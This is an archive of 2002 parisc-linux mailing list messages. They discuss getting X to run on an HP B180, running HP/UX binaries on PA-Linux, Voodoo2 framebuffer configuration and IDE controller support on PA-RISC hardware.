Lines: 51
Approved: news@gmane.org
Message-ID: <OF0516E33B.55652A57-ONC1256C39.0051BFF7@rdp.asi.alcatel.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621733 14181 80.91.229.3 (22 Nov 2014 02:02:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 09:08:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sess01.rdp.asi.alcatel.es (sess01.rdp.asi.alcatel.es [159.23.144.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26B874829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 09:08:20 -0600 (MDT)
Original-Received: from seslotr.rdp.asi.alcatel.es (seslotr.rdp.asi.alcatel.es [159.23.144.37])
	by sess01.rdp.asi.alcatel.es (8.11.2/8.11.2) with ESMTP id g8JF8Hr26987
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 17:08:17 +0200 (MEST)
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
X-MIMETrack: Serialize by Router on ESMAIL03/ES/ALCATEL(Release 5.0.8 |June 18, 2001) at
 09/19/2002 17:08:17
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16178

Hello Thomas, Helge, Jo=EBl and everyone!

Here I am opening again that old thread. Ok. We had here a B180 with a
broken 8GB hard disk inside and nothing but a 4GB hard disk to fix it. =
So
we have fix the B180 and, as our software needs at least 8GB to run, I
though we could use this WS for testing purposes... with PA-Linux. So I=

installed the "Debian GNU/Linux 3.0 prerelease "Woody" - Unofficial hpp=
a
Binary-1" this morning.

Well, It's running smoothly... but i need to run also the XFree86... an=
d it
seems not to work. I've tested several configurations and all that I ge=
t is
an "(EE) No devices detected" error. Then, I searched the list and foun=
d
this:

On Sunday 05 August 2001 16:48, Thomas Bogendoerfer wrote:
> On Fri, Aug 03, 2001 at 12:45:01PM +0200, Helge Deller wrote:
> > Currently stifb will run on most 712 and 715 machines, while B160,
B180,
> > C3000 and most others won't.
>
> you saw X on the B180 I had at LinuxTag:-) Treating the EG VISULIZE a=
s an

> artist graphics card did the trick.

So X can work on a B180. Question is... How I do this?

Well, It's not a case of life-or-death, as we still can use HP-UX 10.20=
 on
this machine... but I'm the only Linux-supporter in my department, and =
so
it'd be a score to get this machine working with Linux.

Thanks in advance.

Fco. Javier Llorente Recio
Alcatel Espa=F1a, S.A.
SRD - Asistencia T=E9cnica (Ref. 02455)
Telefono - Phone (+34) 91 330 6877
M=F3vil - Mobile (+34) 636 482 505
ICQ 87013139
=




From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP/UX binaries
Date: Thu, 19 Sep 2002 16:17:34 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020919151734.GH845@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621734 14185 80.91.229.3 (22 Nov 2014 02:02:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 09:17:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust7.leed.broadband.ntl.com [80.7.68.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E2E04829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 09:17:37 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17s33e-0001g2-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 16:17:34 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16179

How do I go about trying to run HP/UX binaries on parisc-linux ?

In particular I would like to get bitkeeper running as there's an HP/UX binary
for that but no HP/Linux port :(

When I try to run the installer (or any of the binaries copied from the HP/UX
installation) I get

crt0: ERROR couldn't open /usr/lib/dld.sl errno:000000015

I've copied dld.sl from HP/UX into /usr/lib and my kernel has support for SOM
binaries in it. Is there anything else I need to do, or is it just not going to
work ?
-- 

patrick



From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP/UX binaries
Date: Thu, 19 Sep 2002 08:27:56 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020919152756.GA12481@tausq.org>
References: <20020919151734.GH845@tykepenguin.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621734 14186 80.91.229.3 (22 Nov 2014 02:02:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 09:25:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 531F34829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 09:25:00 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 86D3ECD83C; Thu, 19 Sep 2002 08:27:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020919151734.GH845@tykepenguin.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16180

In reference to a message from Patrick Caulfield, dated Sep 19:
> How do I go about trying to run HP/UX binaries on parisc-linux ?
> 
> In particular I would like to get bitkeeper running as there's an HP/UX binary
> for that but no HP/Linux port :(

Bug Larry McVoy about it. :-) Apparently he was considering a palinux
port at some point.

we only support static SOM binaries on palinux....  from binfmt_som.c:

static inline int
do_load_som_library(struct file *f)
{
/* No lib support in SOM yet.  gizza chance.. */
        return -ENOEXEC;
}

randolph


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP/UX binaries
Date: Thu, 19 Sep 2002 16:27:29 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020919162729.V10583@parcelfarce.linux.theplanet.co.uk>
References: <20020919151734.GH845@tykepenguin.com> <20020919152756.GA12481@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621734 14188 80.91.229.3 (22 Nov 2014 02:02:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 09:27:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06BDF4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 09:27:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17s3DF-0006Fj-00; Thu, 19 Sep 2002 16:27:29 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020919152756.GA12481@tausq.org>; from randolph@tausq.org on Thu, Sep 19, 2002 at 08:27:56AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16181

On Thu, Sep 19, 2002 at 08:27:56AM -0700, Randolph Chung wrote:
> Bug Larry McVoy about it. :-) Apparently he was considering a palinux
> port at some point.

no, don't bug Larry about it, he'll bug me for an A500... taggart,
did you have time to look into that yet?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP/UX binaries
Date: Thu, 19 Sep 2002 19:51:31 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020919185131.GB6961@tykepenguin.com>
References: <20020919151734.GH845@tykepenguin.com> <20020919152756.GA12481@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621735 14191 80.91.229.3 (22 Nov 2014 02:02:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 12:51:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust7.leed.broadband.ntl.com [80.7.68.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EEB34829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 12:51:33 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17s6Oh-0001pz-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 19:51:31 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020919152756.GA12481@tausq.org>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16182

On Thu, Sep 19, 2002 at 08:27:56AM -0700, Randolph Chung wrote:
> In reference to a message from Patrick Caulfield, dated Sep 19:
> > How do I go about trying to run HP/UX binaries on parisc-linux ?
> > 
> > In particular I would like to get bitkeeper running as there's an HP/UX binary
> > for that but no HP/Linux port :(
> 
> Bug Larry McVoy about it. :-) Apparently he was considering a palinux
> port at some point.
> 
> we only support static SOM binaries on palinux....  from binfmt_som.c:
> 
> static inline int
> do_load_som_library(struct file *f)
> {
> /* No lib support in SOM yet.  gizza chance.. */
>         return -ENOEXEC;
> }

aha. That'll teach me to read the FAQ rather than the code :-)
 
patrick



From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP/UX binaries
Date: Thu, 19 Sep 2002 20:01:45 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020919200145.W10583@parcelfarce.linux.theplanet.co.uk>
References: <20020919151734.GH845@tykepenguin.com> <20020919152756.GA12481@tausq.org> <20020919185131.GB6961@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621735 14195 80.91.229.3 (22 Nov 2014 02:02:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 13:01:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06F164829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 13:01:48 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17s6Yc-0001qP-00
	for parisc-linux@lists.parisc-linux.org; Thu, 19 Sep 2002 20:01:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020919185131.GB6961@tykepenguin.com>; from patrick@tykepenguin.com on Thu, Sep 19, 2002 at 07:51:31PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16183

On Thu, Sep 19, 2002 at 07:51:31PM +0100, Patrick Caulfield wrote:
> > static inline int
> > do_load_som_library(struct file *f)
> > {
> > /* No lib support in SOM yet.  gizza chance.. */
> >         return -ENOEXEC;
> > }
> 
> aha. That'll teach me to read the FAQ rather than the code :-)

i'm not sure the comment is actually right... seems to me that ld.so
on hpux loads the libraries without going through this entry point.
it'd be interesting to test, but i think hpux emulation is broken right
now anyway.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP/UX binaries
Date: Thu, 19 Sep 2002 13:08:16 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020919190816.47F9337F2E@carmen.fc.hp.com>
References: <20020919151734.GH845@tykepenguin.com> 
 <20020919152756.GA12481@tausq.org>  <20020919162729.V10583@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621735 14198 80.91.229.3 (22 Nov 2014 02:02:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:15 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 13:08:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CBF4482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 13:08:19 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 19F72B18; Thu, 19 Sep 2002 15:08:18 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id 7EB8E37F2B; Thu, 19 Sep 2002 13:08:17 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 344D34388; Thu, 19 Sep 2002 13:08:17 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 47F9337F2E; Thu, 19 Sep 2002 13:08:16 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Thu, 19 Sep 2002 16:27:29 BST." <20020919162729.V10583@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16184

Matthew Wilcox writes...

> On Thu, Sep 19, 2002 at 08:27:56AM -0700, Randolph Chung wrote:
> > Bug Larry McVoy about it. :-) Apparently he was considering a palinux
> > port at some point.
> 
> no, don't bug Larry about it, he'll bug me for an A500... taggart,
> did you have time to look into that yet?

Oh yeah, I forgot. I will.

-- 
Matt Taggart        Linux R&D
taggart@fc.hp.com   HP Linux Systems Division




From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [PATCH] Voodoo framebuffer on PARISC
Date: Thu, 19 Sep 2002 21:28:54 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <000401c26012$cb73ffd0$0100a8c0@PLUTO>
References: <200209160829.35216.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621736 14199 80.91.229.3 (22 Nov 2014 02:02:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:16 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Helge Deller'" <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 13:28:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A48E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Sep 2002 13:28:34 -0600 (MDT)
Original-Received: from [195.20.224.199] (helo=mrvdomng4.kundenserver.de)
	by moutvdom.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17s6yV-0000pg-00; Thu, 19 Sep 2002 21:28:31 +0200
Original-Received: from [80.132.241.164] (helo=PLUTO)
	by mrvdomng4.kundenserver.de with esmtp (Exim 3.35 #1)
	id 17s6yV-0004u7-00; Thu, 19 Sep 2002 21:28:31 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <200209160829.35216.deller@gmx.de>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16185

Hello again,

I tried some more today, and I changed my setting to

#define DEFAULT_MODE 2

and recompiled and installed the new kernel, but it seems
the Voodoo2 is simply misconfigured by the driver. My monitor 
can take anything, so that's not the problem.

Are there any kernel parameters that I could try? Could it
be that my Voodoo2 is not compatible with Helge's?

I am on a Visualize C200.

Cheers,
Tobias



From - Thu Nov 08 21:24:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ide controller
Date: Thu, 19 Sep 2002 16:33:16 -0600
Lines: 67
Approved: news@gmane.org
Message-ID: <20020919223316.13D0E4829@dsl2.external.hp.com>
References: <20020916043004.B27754829@dsl2.external.hp.com>  <28859.1032424874@www2.gmx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621736 14202 80.91.229.3 (22 Nov 2014 02:02:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:16 +0000 (UTC)
Cc: moritz@freesources.org, parisc-linux@lists.parisc-linux.org
To: j.steindlberger@gmx.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep 19 16:33:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 13D0E4829; Thu, 19 Sep 2002 16:33:16 -0600 (MDT)
In-Reply-To: Message from j.steindlberger@gmx.de 
   of "Thu, 19 Sep 2002 10:41:14 +0200." <28859.1032424874@www2.gmx.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16186

j.steindlberger@gmx.de wrote:
> drivers. We disabled the following:
> [ ]     Generic PCI bus-master DMA support

hmm....ok.

> After compiling wie had these three modules:
> ide-mod.o
> ide-probe-mod.o
> ide-disk.o

No pdc202xx.o?

> An insmod ide-mod.o was possible. But after insmod ide-probe-mod the kernel
> crashes. In some cases we got an output with about 50 pages of memory
> addresses. At the beginning we got some messages told about the SYM-SCSI-devi
>   ce.
> Could that be a conflict?

I don't think so.

> We did not succeed to reproduce that and log it.
> 
> Here my questions:
> Did You here about anyone to succeed in using an IDE-controller in a
> HP-RISC-architecture?

Yes. My C3000 has IDE CD-ROM hanging off the "SuckyIO" chip.
That works using PIO mode thanks to Randolph Chung/Thomas Bogendoerfer.

> Do You see a chance to use IDE-disks in future (with some none
> HP-controller)

yes - but I don't expect it to "just work".
IDE is a PoS with lots of buggy HW.
PARISC isn't very tolerant of many things the x86 PCs tolerate.
(eg access to disabled devices, PCI parity errors)

> Do You know about more people who are interrested in what we tried to do?

I don't offhand. If someone is, I ask they contact you directly.
Please continue to post status here and I'll offer advice when I can.

> That would be an argument for me to continue experimenting.

If you get it working, I'd be happy to help put any changes back
